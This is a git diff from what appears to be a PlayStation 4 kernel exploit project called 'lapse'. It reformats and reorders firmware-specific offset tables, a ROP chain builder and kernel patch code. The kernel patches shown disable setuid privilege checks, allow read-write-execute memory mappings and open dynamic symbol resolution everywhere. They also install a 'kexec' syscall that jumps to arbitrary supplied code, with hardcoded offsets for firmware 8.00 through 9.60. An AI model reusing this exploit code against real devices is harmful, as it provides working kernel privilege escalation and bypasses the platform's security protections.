write16(kbase, 0x4b5, 0x9090);
|
|
||||||
write16(kbase, 0x4b9, 0x9090);
|
|
||||||
write8(kbase, 0x4c2, 0xeb);
|
write8(kbase, 0x4c2, 0xeb);
|
||||||
|
write16(kbase, 0x4b9, 0x9090);
|
||||||
|
write16(kbase, 0x4b5, 0x9090);
|
||||||
|
|
||||||
// patch sys_mmap() to allow rwx mappings
|
// patch sys_setuid() to allow freely changing the effective user ID
|
||||||
|
// ; PRIV_CRED_SETUID = 50
|
||||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||||
// the ps4 added custom protections for their gpu memory accesses
|
// test eax, eax
|
||||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
// je ... ; patch je to jmp
|
||||||
// that's why you see other bits set
|
write8(kbase, 0x1fa536, 0xeb);
|
||||||
// ref: https://cturt.github.io/ps4-2.html
|
|
||||||
write8(kbase, 0x122d7a, 0x37);
|
|
||||||
write8(kbase, 0x122d7d, 0x37);
|
|
||||||
|
|
||||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||||
//
|
//
|
||||||
@@ -119,8 +128,10 @@ void do_patch(void) {
|
|||||||
// }
|
// }
|
||||||
write32(kbase, 0x196d3d, 0);
|
write32(kbase, 0x196d3d, 0);
|
||||||
|
|
||||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
// TODO: Description of this patch. "prx"
|
||||||
|
write16(kbase, 0x19f724, 0xe990);
|
||||||
|
|
||||||
|
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||||
// call ...
|
// call ...
|
||||||
// mov r14, qword [rbp - 0xad0]
|
// mov r14, qword [rbp - 0xad0]
|
||||||
// cmp eax, 0x4000000
|
// cmp eax, 0x4000000
|
||||||
@@ -142,13 +153,14 @@ void do_patch(void) {
|
|||||||
// ...
|
// ...
|
||||||
write32(kbase, 0x11960, 0xc3c03148);
|
write32(kbase, 0x11960, 0xc3c03148);
|
||||||
|
|
||||||
// patch sys_setuid() to allow freely changing the effective user ID
|
// patch sys_mmap() to allow rwx mappings
|
||||||
|
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||||
// ; PRIV_CRED_SETUID = 50
|
// the ps4 added custom protections for their gpu memory accesses
|
||||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||||
// test eax, eax
|
// that's why you see other bits set
|
||||||
// je ... ; patch je to jmp
|
// ref: https://cturt.github.io/ps4-2.html
|
||||||
write8(kbase, 0x1fa536, 0xeb);
|
write8(kbase, 0x122d7a, 0x37);
|
||||||
|
write8(kbase, 0x122d7d, 0x37);
|
||||||
|
|
||||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||||
//
|
//
|
||||||
@@ -164,15 +176,12 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
// .sy_narg = 2
|
||||||
// sysent[11]
|
write32(kbase, 0x10f9500, 2);
|
||||||
const size_t offset_sysent_11 = 0x10f9500;
|
|
||||||
// .sy_narg = 6
|
|
||||||
write32(kbase, offset_sysent_11, 6);
|
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d);
|
write64(kbase, 0x10f9500 + 8, kbase + 0x15a6d);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
write32(kbase, 0x10f9500 + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
562
src/lapse.mjs
562
src/lapse.mjs
File diff suppressed because it is too large
Load Diff
@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 8.00, 8.01, 8.03
|
// 8.00, 8.01, 8.03
|
||||||
|
|
||||||
export const pthread_offsets = new Map(Object.entries({
|
export const pthread_offsets = new Map(
|
||||||
'pthread_create' : 0x25610,
|
Object.entries({
|
||||||
'pthread_join' : 0x27c60,
|
pthread_create: 0x25610,
|
||||||
'pthread_barrier_init' : 0xa0e0,
|
pthread_join: 0x27c60,
|
||||||
'pthread_barrier_wait' : 0x1ee00,
|
pthread_barrier_init: 0xa0e0,
|
||||||
'pthread_barrier_destroy' : 0xe180,
|
pthread_barrier_wait: 0x1ee00,
|
||||||
'pthread_exit' : 0x19eb0,
|
pthread_barrier_destroy: 0xe180,
|
||||||
}));
|
pthread_exit: 0x19eb0,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const off_kstr = 0x7edcff;
|
export const off_kstr = 0x7edcff;
|
||||||
export const off_cpuid_to_pcpu = 0x228e6b0;
|
export const off_cpuid_to_pcpu = 0x228e6b0;
|
||||||
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x228e6b0;
|
|||||||
export const off_sysent_661 = 0x11040c0;
|
export const off_sysent_661 = 0x11040c0;
|
||||||
export const jmp_rsi = 0xe629c;
|
export const jmp_rsi = 0xe629c;
|
||||||
|
|
||||||
export const patch_elf_loc = './kpatch/800.bin'; // Relative to `../../lapse.mjs`
|
export const patch_elf_loc = "./kpatch/800.bin"; // Relative to `../../lapse.mjs`
|
||||||
|
|||||||
@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 8.50
|
// 8.50
|
||||||
|
|
||||||
export const pthread_offsets = new Map(Object.entries({
|
export const pthread_offsets = new Map(
|
||||||
'pthread_create' : 0xebb0,
|
Object.entries({
|
||||||
'pthread_join' : 0x29d50,
|
pthread_create: 0xebb0,
|
||||||
'pthread_barrier_init' : 0x283c0,
|
pthread_join: 0x29d50,
|
||||||
'pthread_barrier_wait' : 0xb8c0,
|
pthread_barrier_init: 0x283c0,
|
||||||
'pthread_barrier_destroy' : 0x9c10,
|
pthread_barrier_wait: 0xb8c0,
|
||||||
'pthread_exit' : 0x25310,
|
pthread_barrier_destroy: 0x9c10,
|
||||||
}));
|
pthread_exit: 0x25310,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const off_kstr = 0x7da91c;
|
export const off_kstr = 0x7da91c;
|
||||||
export const off_cpuid_to_pcpu = 0x1cfc240;
|
export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||||
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240;
|
|||||||
export const off_sysent_661 = 0x11041b0;
|
export const off_sysent_661 = 0x11041b0;
|
||||||
export const jmp_rsi = 0xc810d;
|
export const jmp_rsi = 0xc810d;
|
||||||
|
|
||||||
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
|
export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs`
|
||||||
|
|||||||
@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 8.52
|
// 8.52
|
||||||
|
|
||||||
export const pthread_offsets = new Map(Object.entries({
|
export const pthread_offsets = new Map(
|
||||||
'pthread_create' : 0xebb0,
|
Object.entries({
|
||||||
'pthread_join' : 0x29d60,
|
pthread_create: 0xebb0,
|
||||||
'pthread_barrier_init' : 0x283d0,
|
pthread_join: 0x29d60,
|
||||||
'pthread_barrier_wait' : 0xb8c0,
|
pthread_barrier_init: 0x283d0,
|
||||||
'pthread_barrier_destroy' : 0x9c10,
|
pthread_barrier_wait: 0xb8c0,
|
||||||
'pthread_exit' : 0x25320,
|
pthread_barrier_destroy: 0x9c10,
|
||||||
}));
|
pthread_exit: 0x25320,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const off_kstr = 0x7da91c;
|
export const off_kstr = 0x7da91c;
|
||||||
export const off_cpuid_to_pcpu = 0x1cfc240;
|
export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||||
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240;
|
|||||||
export const off_sysent_661 = 0x11041b0;
|
export const off_sysent_661 = 0x11041b0;
|
||||||
export const jmp_rsi = 0xc810d;
|
export const jmp_rsi = 0xc810d;
|
||||||
|
|
||||||
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
|
export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs`
|
||||||
|
|||||||
@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.00
|
// 9.00
|
||||||
|
|
||||||
export const pthread_offsets = new Map(Object.entries({
|
export const pthread_offsets = new Map(
|
||||||
'pthread_create' : 0x25510,
|
Object.entries({
|
||||||
'pthread_join' : 0xafa0,
|
pthread_create: 0x25510,
|
||||||
'pthread_barrier_init' : 0x273d0,
|
pthread_join: 0xafa0,
|
||||||
'pthread_barrier_wait' : 0xa320,
|
pthread_barrier_init: 0x273d0,
|
||||||
'pthread_barrier_destroy' : 0xfea0,
|
pthread_barrier_wait: 0xa320,
|
||||||
'pthread_exit' : 0x77a0,
|
pthread_barrier_destroy: 0xfea0,
|
||||||
}));
|
pthread_exit: 0x77a0,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const off_kstr = 0x7f6f27;
|
export const off_kstr = 0x7f6f27;
|
||||||
export const off_cpuid_to_pcpu = 0x21ef2a0;
|
export const off_cpuid_to_pcpu = 0x21ef2a0;
|
||||||
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21ef2a0;
|
|||||||
export const off_sysent_661 = 0x1107f00;
|
export const off_sysent_661 = 0x1107f00;
|
||||||
export const jmp_rsi = 0x4c7ad;
|
export const jmp_rsi = 0x4c7ad;
|
||||||
|
|
||||||
export const patch_elf_loc = './kpatch/900.bin'; // Relative to `../../lapse.mjs`
|
export const patch_elf_loc = "./kpatch/900.bin"; // Relative to `../../lapse.mjs`
|
||||||
|
|||||||
@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.03, 9.04
|
// 9.03, 9.04
|
||||||
|
|
||||||
export const pthread_offsets = new Map(Object.entries({
|
export const pthread_offsets = new Map(
|
||||||
'pthread_create' : 0x25510,
|
Object.entries({
|
||||||
'pthread_join' : 0xafa0,
|
pthread_create: 0x25510,
|
||||||
'pthread_barrier_init' : 0x273d0,
|
pthread_join: 0xafa0,
|
||||||
'pthread_barrier_wait' : 0xa320,
|
pthread_barrier_init: 0x273d0,
|
||||||
'pthread_barrier_destroy' : 0xfea0,
|
pthread_barrier_wait: 0xa320,
|
||||||
'pthread_exit' : 0x77a0,
|
pthread_barrier_destroy: 0xfea0,
|
||||||
}));
|
pthread_exit: 0x77a0,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const off_kstr = 0x7f4ce7;
|
export const off_kstr = 0x7f4ce7;
|
||||||
export const off_cpuid_to_pcpu = 0x21eb2a0;
|
export const off_cpuid_to_pcpu = 0x21eb2a0;
|
||||||
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21eb2a0;
|
|||||||
export const off_sysent_661 = 0x1103f00;
|
export const off_sysent_661 = 0x1103f00;
|
||||||
export const jmp_rsi = 0x5325b;
|
export const jmp_rsi = 0x5325b;
|
||||||
|
|
||||||
export const patch_elf_loc = './kpatch/903.bin'; // Relative to `../../lapse.mjs`
|
export const patch_elf_loc = "./kpatch/903.bin"; // Relative to `../../lapse.mjs`
|
||||||
|
|||||||
@@ -17,14 +17,16 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.50, 9.51, 9.60
|
// 9.50, 9.51, 9.60
|
||||||
|
|
||||||
export const pthread_offsets = new Map(Object.entries({
|
export const pthread_offsets = new Map(
|
||||||
'pthread_create' : 0x1c540,
|
Object.entries({
|
||||||
'pthread_join' : 0x9560,
|
pthread_create: 0x1c540,
|
||||||
'pthread_barrier_init' : 0x24200,
|
pthread_join: 0x9560,
|
||||||
'pthread_barrier_wait' : 0x1efb0,
|
pthread_barrier_init: 0x24200,
|
||||||
'pthread_barrier_destroy' : 0x19450,
|
pthread_barrier_wait: 0x1efb0,
|
||||||
'pthread_exit' : 0x28ca0,
|
pthread_barrier_destroy: 0x19450,
|
||||||
}));
|
pthread_exit: 0x28ca0,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const off_kstr = 0x769a88;
|
export const off_kstr = 0x769a88;
|
||||||
export const off_cpuid_to_pcpu = 0x21a66c0;
|
export const off_cpuid_to_pcpu = 0x21a66c0;
|
||||||
@@ -32,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21a66c0;
|
|||||||
export const off_sysent_661 = 0x1100ee0;
|
export const off_sysent_661 = 0x1100ee0;
|
||||||
export const jmp_rsi = 0x15a6d;
|
export const jmp_rsi = 0x15a6d;
|
||||||
|
|
||||||
export const patch_elf_loc = './kpatch/950.bin'; // Relative to `../../lapse.mjs`
|
export const patch_elf_loc = "./kpatch/950.bin"; // Relative to `../../lapse.mjs`
|
||||||
|
|||||||
@@ -15,90 +15,85 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
import { Int, lohi_from_one } from './int64.mjs';
|
import { Int, lohi_from_one } from "./int64.mjs";
|
||||||
import { get_view_vector } from './memtools.mjs';
|
import { get_view_vector } from "./memtools.mjs";
|
||||||
import { Addr } from './mem.mjs';
|
import { Addr } from "./mem.mjs";
|
||||||
|
|
||||||
import * as config from '../config.mjs';
|
import * as config from "../config.mjs";
|
||||||
|
|
||||||
// put the sycall names that you want to use here
|
// put the sycall names that you want to use here
|
||||||
export const syscall_map = new Map(Object.entries({
|
export const syscall_map = new Map(
|
||||||
'read' : 3,
|
Object.entries({
|
||||||
'write' : 4,
|
read: 3,
|
||||||
'open' : 5,
|
write: 4,
|
||||||
'close' : 6,
|
open: 5,
|
||||||
'getpid' : 20,
|
close: 6,
|
||||||
'setuid' : 23,
|
getpid: 20,
|
||||||
'getuid' : 24,
|
setuid: 23,
|
||||||
'accept' : 30,
|
getuid: 24,
|
||||||
'pipe' : 42,
|
accept: 30,
|
||||||
'ioctl' : 54,
|
pipe: 42,
|
||||||
'munmap' : 73,
|
ioctl: 54,
|
||||||
'mprotect' : 74,
|
munmap: 73,
|
||||||
'fcntl' : 92,
|
mprotect: 74,
|
||||||
'socket' : 97,
|
fcntl: 92,
|
||||||
'connect' : 98,
|
socket: 97,
|
||||||
'bind' : 104,
|
connect: 98,
|
||||||
'setsockopt' : 105,
|
bind: 104,
|
||||||
'listen' : 106,
|
setsockopt: 105,
|
||||||
'getsockopt' : 118,
|
listen: 106,
|
||||||
'fchmod' : 124,
|
getsockopt: 118,
|
||||||
'socketpair' : 135,
|
fchmod: 124,
|
||||||
'fstat' : 189,
|
socketpair: 135,
|
||||||
'getdirentries' : 196,
|
fstat: 189,
|
||||||
'__sysctl' : 202,
|
getdirentries: 196,
|
||||||
'mlock' : 203,
|
__sysctl: 202,
|
||||||
'clock_gettime' : 232,
|
mlock: 203,
|
||||||
'nanosleep' : 240,
|
clock_gettime: 232,
|
||||||
'sched_yield' : 331,
|
nanosleep: 240,
|
||||||
'kqueue' : 362,
|
sched_yield: 331,
|
||||||
'kevent' : 363,
|
kqueue: 362,
|
||||||
'rtprio_thread' : 466,
|
kevent: 363,
|
||||||
'mmap' : 477,
|
rtprio_thread: 466,
|
||||||
'ftruncate' : 480,
|
mmap: 477,
|
||||||
'shm_open' : 482,
|
ftruncate: 480,
|
||||||
'cpuset_getaffinity' : 487,
|
shm_open: 482,
|
||||||
'cpuset_setaffinity' : 488,
|
cpuset_getaffinity: 487,
|
||||||
'jitshm_create' : 533,
|
cpuset_setaffinity: 488,
|
||||||
'jitshm_alias' : 534,
|
jitshm_create: 533,
|
||||||
'evf_create' : 538,
|
jitshm_alias: 534,
|
||||||
'evf_delete' : 539,
|
evf_create: 538,
|
||||||
'evf_set' : 544,
|
evf_delete: 539,
|
||||||
'evf_clear' : 545,
|
evf_set: 544,
|
||||||
'set_vm_container' : 559,
|
evf_clear: 545,
|
||||||
'dmem_container' : 586,
|
set_vm_container: 559,
|
||||||
'dynlib_dlsym' : 591,
|
dmem_container: 586,
|
||||||
'dynlib_get_list' : 592,
|
dynlib_dlsym: 591,
|
||||||
'dynlib_get_info' : 593,
|
dynlib_get_list: 592,
|
||||||
'dynlib_load_prx' : 594,
|
dynlib_get_info: 593,
|
||||||
'randomized_path' : 602,
|
dynlib_load_prx: 594,
|
||||||
'budget_get_ptype' : 610,
|
randomized_path: 602,
|
||||||
'thr_suspend_ucontext' : 632,
|
budget_get_ptype: 610,
|
||||||
'thr_resume_ucontext' : 633,
|
thr_suspend_ucontext: 632,
|
||||||
'blockpool_open' : 653,
|
thr_resume_ucontext: 633,
|
||||||
'blockpool_map' : 654,
|
blockpool_open: 653,
|
||||||
'blockpool_unmap' : 655,
|
blockpool_map: 654,
|
||||||
'blockpool_batch' : 657,
|
blockpool_unmap: 655,
|
||||||
|
blockpool_batch: 657,
|
||||||
// syscall 661 is unimplemented so free for use. a kernel exploit will
|
// syscall 661 is unimplemented so free for use. a kernel exploit will
|
||||||
// install "kexec" here
|
// install "kexec" here
|
||||||
'aio_submit' : 661,
|
aio_submit: 661,
|
||||||
'kexec' : 661,
|
kexec: 661,
|
||||||
'aio_multi_delete' : 662,
|
aio_multi_delete: 662,
|
||||||
'aio_multi_wait' : 663,
|
aio_multi_wait: 663,
|
||||||
'aio_multi_poll' : 664,
|
aio_multi_poll: 664,
|
||||||
'aio_multi_cancel' : 666,
|
aio_multi_cancel: 666,
|
||||||
'aio_submit_cmd' : 669,
|
aio_submit_cmd: 669,
|
||||||
'blockpool_move' : 673,
|
blockpool_move: 673,
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const argument_pops = [
|
const argument_pops = ["pop rdi; ret", "pop rsi; ret", "pop rdx; ret", "pop rcx; ret", "pop r8; ret", "pop r9; ret"];
|
||||||
'pop rdi; ret',
|
|
||||||
'pop rsi; ret',
|
|
||||||
'pop rdx; ret',
|
|
||||||
'pop rcx; ret',
|
|
||||||
'pop r8; ret',
|
|
||||||
'pop r9; ret',
|
|
||||||
];
|
|
||||||
|
|
||||||
// implementations are expected to have these gadgets:
|
// implementations are expected to have these gadgets:
|
||||||
// * libSceLibcInternal:
|
// * libSceLibcInternal:
|
||||||
@@ -218,10 +213,10 @@ export class ChainBase {
|
|||||||
|
|
||||||
check_allow_run() {
|
check_allow_run() {
|
||||||
if (this.position === 0) {
|
if (this.position === 0) {
|
||||||
throw Error('chain is empty');
|
throw Error("chain is empty");
|
||||||
}
|
}
|
||||||
if (this.is_dirty) {
|
if (this.is_dirty) {
|
||||||
throw Error('chain already ran, clean it first');
|
throw Error("chain already ran, clean it first");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -301,9 +296,7 @@ export class ChainBase {
|
|||||||
|
|
||||||
push_call(func_addr, ...args) {
|
push_call(func_addr, ...args) {
|
||||||
if (args.length > 6) {
|
if (args.length > 6) {
|
||||||
throw TypeError(
|
throw TypeError("push_call() does not support functions that have more than 6 arguments");
|
||||||
'push_call() does not support functions that have more than 6'
|
|
||||||
+ ' arguments');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for (let i = 0; i < args.length; i++) {
|
for (let i = 0; i < args.length; i++) {
|
||||||
@@ -316,10 +309,10 @@ export class ChainBase {
|
|||||||
// function entry, so push an additional 8 bytes to pad the stack. We
|
// function entry, so push an additional 8 bytes to pad the stack. We
|
||||||
// pushed a "ret" gadget for a noop.
|
// pushed a "ret" gadget for a noop.
|
||||||
if ((this.position & (0x10 - 1)) !== 0) {
|
if ((this.position & (0x10 - 1)) !== 0) {
|
||||||
this.push_gadget('ret');
|
this.push_gadget("ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (typeof func_addr === 'string') {
|
if (typeof func_addr === "string") {
|
||||||
this.push_gadget(func_addr);
|
this.push_gadget(func_addr);
|
||||||
} else {
|
} else {
|
||||||
this.push_value(func_addr);
|
this.push_value(func_addr);
|
||||||
@@ -327,7 +320,7 @@ export class ChainBase {
|
|||||||
}
|
}
|
||||||
|
|
||||||
push_syscall(syscall_name, ...args) {
|
push_syscall(syscall_name, ...args) {
|
||||||
if (typeof syscall_name !== 'string') {
|
if (typeof syscall_name !== "string") {
|
||||||
throw TypeError(`syscall_name not a string: ${syscall_name}`);
|
throw TypeError(`syscall_name not a string: ${syscall_name}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -368,30 +361,30 @@ export class ChainBase {
|
|||||||
// running. Implementations can optionally check .is_dirty to enforce
|
// running. Implementations can optionally check .is_dirty to enforce
|
||||||
// single-run gadget sequences
|
// single-run gadget sequences
|
||||||
run() {
|
run() {
|
||||||
throw Error('not implemented');
|
throw Error("not implemented");
|
||||||
}
|
}
|
||||||
|
|
||||||
// anything you need to do before the ROP chain jumps back to JavaScript
|
// anything you need to do before the ROP chain jumps back to JavaScript
|
||||||
push_end() {
|
push_end() {
|
||||||
throw Error('not implemented');
|
throw Error("not implemented");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_errno() {
|
push_get_errno() {
|
||||||
throw Error('not implemented');
|
throw Error("not implemented");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_clear_errno() {
|
push_clear_errno() {
|
||||||
throw Error('not implemented');
|
throw Error("not implemented");
|
||||||
}
|
}
|
||||||
|
|
||||||
// get the rax register
|
// get the rax register
|
||||||
push_get_retval() {
|
push_get_retval() {
|
||||||
throw Error('not implemented');
|
throw Error("not implemented");
|
||||||
}
|
}
|
||||||
|
|
||||||
// get the rax and rdx registers
|
// get the rax and rdx registers
|
||||||
push_get_retval_all() {
|
push_get_retval_all() {
|
||||||
throw Error('not implemented');
|
throw Error("not implemented");
|
||||||
}
|
}
|
||||||
|
|
||||||
// END: implementation-dependent parts
|
// END: implementation-dependent parts
|
||||||
@@ -407,7 +400,7 @@ export class ChainBase {
|
|||||||
|
|
||||||
do_call(...args) {
|
do_call(...args) {
|
||||||
if (this.position) {
|
if (this.position) {
|
||||||
throw Error('chain not empty');
|
throw Error("chain not empty");
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
this.push_call(...args);
|
this.push_call(...args);
|
||||||
@@ -438,7 +431,7 @@ export class ChainBase {
|
|||||||
|
|
||||||
do_syscall(...args) {
|
do_syscall(...args) {
|
||||||
if (this.position) {
|
if (this.position) {
|
||||||
throw Error('chain not empty');
|
throw Error("chain not empty");
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
this.push_syscall(...args);
|
this.push_syscall(...args);
|
||||||
@@ -477,7 +470,7 @@ export class ChainBase {
|
|||||||
|
|
||||||
do_syscall_clear_errno(...args) {
|
do_syscall_clear_errno(...args) {
|
||||||
if (this.position) {
|
if (this.position) {
|
||||||
throw Error('chain not empty');
|
throw Error("chain not empty");
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
this.push_clear_errno();
|
this.push_clear_errno();
|
||||||
@@ -542,7 +535,7 @@ export function get_gadget(map, insn_str) {
|
|||||||
|
|
||||||
function load_fw_specific(version) {
|
function load_fw_specific(version) {
|
||||||
if (version & 0x10000) {
|
if (version & 0x10000) {
|
||||||
throw RangeError('PS5 not supported yet');
|
throw RangeError("PS5 not supported yet");
|
||||||
}
|
}
|
||||||
|
|
||||||
const value = version & 0xffff;
|
const value = version & 0xffff;
|
||||||
@@ -550,26 +543,30 @@ function load_fw_specific(version) {
|
|||||||
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
|
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
|
||||||
// which can be annoying to deal with
|
// which can be annoying to deal with
|
||||||
if (value < 0x700) {
|
if (value < 0x700) {
|
||||||
throw RangeError('PS4 firmwares < 7.00 isn\'t supported');
|
throw RangeError("PS4 firmwares < 7.00 isn't supported");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03
|
if (0x800 <= value && value < 0x850) {
|
||||||
return import('../rop/ps4/800.mjs');
|
// 8.00, 8.01, 8.03
|
||||||
|
return import("../rop/ps4/800.mjs");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (0x850 <= value && value < 0x900) { // 8.50, 8.52
|
if (0x850 <= value && value < 0x900) {
|
||||||
return import('../rop/ps4/850.mjs');
|
// 8.50, 8.52
|
||||||
|
return import("../rop/ps4/850.mjs");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04
|
if (0x900 <= value && value < 0x950) {
|
||||||
return import('../rop/ps4/900.mjs');
|
// 9.00, 9.03, 9.04
|
||||||
|
return import("../rop/ps4/900.mjs");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60
|
if (0x950 <= value && value < 0x1000) {
|
||||||
return import('../rop/ps4/950.mjs');
|
// 9.50, 9.51, 9.60
|
||||||
|
return import("../rop/ps4/950.mjs");
|
||||||
}
|
}
|
||||||
|
|
||||||
throw RangeError('Firmware not supported');
|
throw RangeError("Firmware not supported");
|
||||||
}
|
}
|
||||||
|
|
||||||
export let gadgets = null;
|
export let gadgets = null;
|
||||||
@@ -583,11 +580,5 @@ export async function init() {
|
|||||||
const module = await load_fw_specific(config.target);
|
const module = await load_fw_specific(config.target);
|
||||||
Chain = module.Chain;
|
Chain = module.Chain;
|
||||||
module.init(Chain);
|
module.init(Chain);
|
||||||
({
|
({ gadgets, libwebkit_base, libkernel_base, libc_base, init_gadget_map } = module);
|
||||||
gadgets,
|
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
init_gadget_map,
|
|
||||||
} = module);
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -77,19 +77,13 @@ export class Int {
|
|||||||
neg() {
|
neg() {
|
||||||
const u32 = this._u32;
|
const u32 = this._u32;
|
||||||
const low = (~u32[0] >>> 0) + 1;
|
const low = (~u32[0] >>> 0) + 1;
|
||||||
return new this.constructor(
|
return new this.constructor(low >>> 0, ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0);
|
||||||
low >>> 0,
|
|
||||||
((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
eq(b) {
|
eq(b) {
|
||||||
const values = lohi_from_one(b);
|
const values = lohi_from_one(b);
|
||||||
const u32 = this._u32;
|
const u32 = this._u32;
|
||||||
return (
|
return u32[0] === values[0] && u32[1] === values[1];
|
||||||
u32[0] === values[0]
|
|
||||||
&& u32[1] === values[1]
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ne(b) {
|
ne(b) {
|
||||||
@@ -100,34 +94,28 @@ export class Int {
|
|||||||
const values = lohi_from_one(b);
|
const values = lohi_from_one(b);
|
||||||
const u32 = this._u32;
|
const u32 = this._u32;
|
||||||
const low = u32[0] + values[0];
|
const low = u32[0] + values[0];
|
||||||
return new this.constructor(
|
return new this.constructor(low >>> 0, (u32[1] + values[1] + (low > 0xffffffff)) >>> 0);
|
||||||
low >>> 0,
|
|
||||||
(u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
sub(b) {
|
sub(b) {
|
||||||
const values = lohi_from_one(b);
|
const values = lohi_from_one(b);
|
||||||
const u32 = this._u32;
|
const u32 = this._u32;
|
||||||
const low = u32[0] + (~values[0] >>> 0) + 1;
|
const low = u32[0] + (~values[0] >>> 0) + 1;
|
||||||
return new this.constructor(
|
return new this.constructor(low >>> 0, (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0);
|
||||||
low >>> 0,
|
|
||||||
(u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
toString(is_pretty = false) {
|
toString(is_pretty = false) {
|
||||||
if (!is_pretty) {
|
if (!is_pretty) {
|
||||||
const low = this.lo.toString(16).padStart(8, '0');
|
const low = this.lo.toString(16).padStart(8, "0");
|
||||||
const high = this.hi.toString(16).padStart(8, '0');
|
const high = this.hi.toString(16).padStart(8, "0");
|
||||||
return '0x' + high + low;
|
return `0x${high}${low}`;
|
||||||
}
|
}
|
||||||
let high = this.hi.toString(16).padStart(8, '0');
|
let high = this.hi.toString(16).padStart(8, "0");
|
||||||
high = high.substring(0, 4) + '_' + high.substring(4);
|
high = `${high.substring(0, 4)}_${high.substring(4)}`;
|
||||||
|
|
||||||
let low = this.lo.toString(16).padStart(8, '0');
|
let low = this.lo.toString(16).padStart(8, "0");
|
||||||
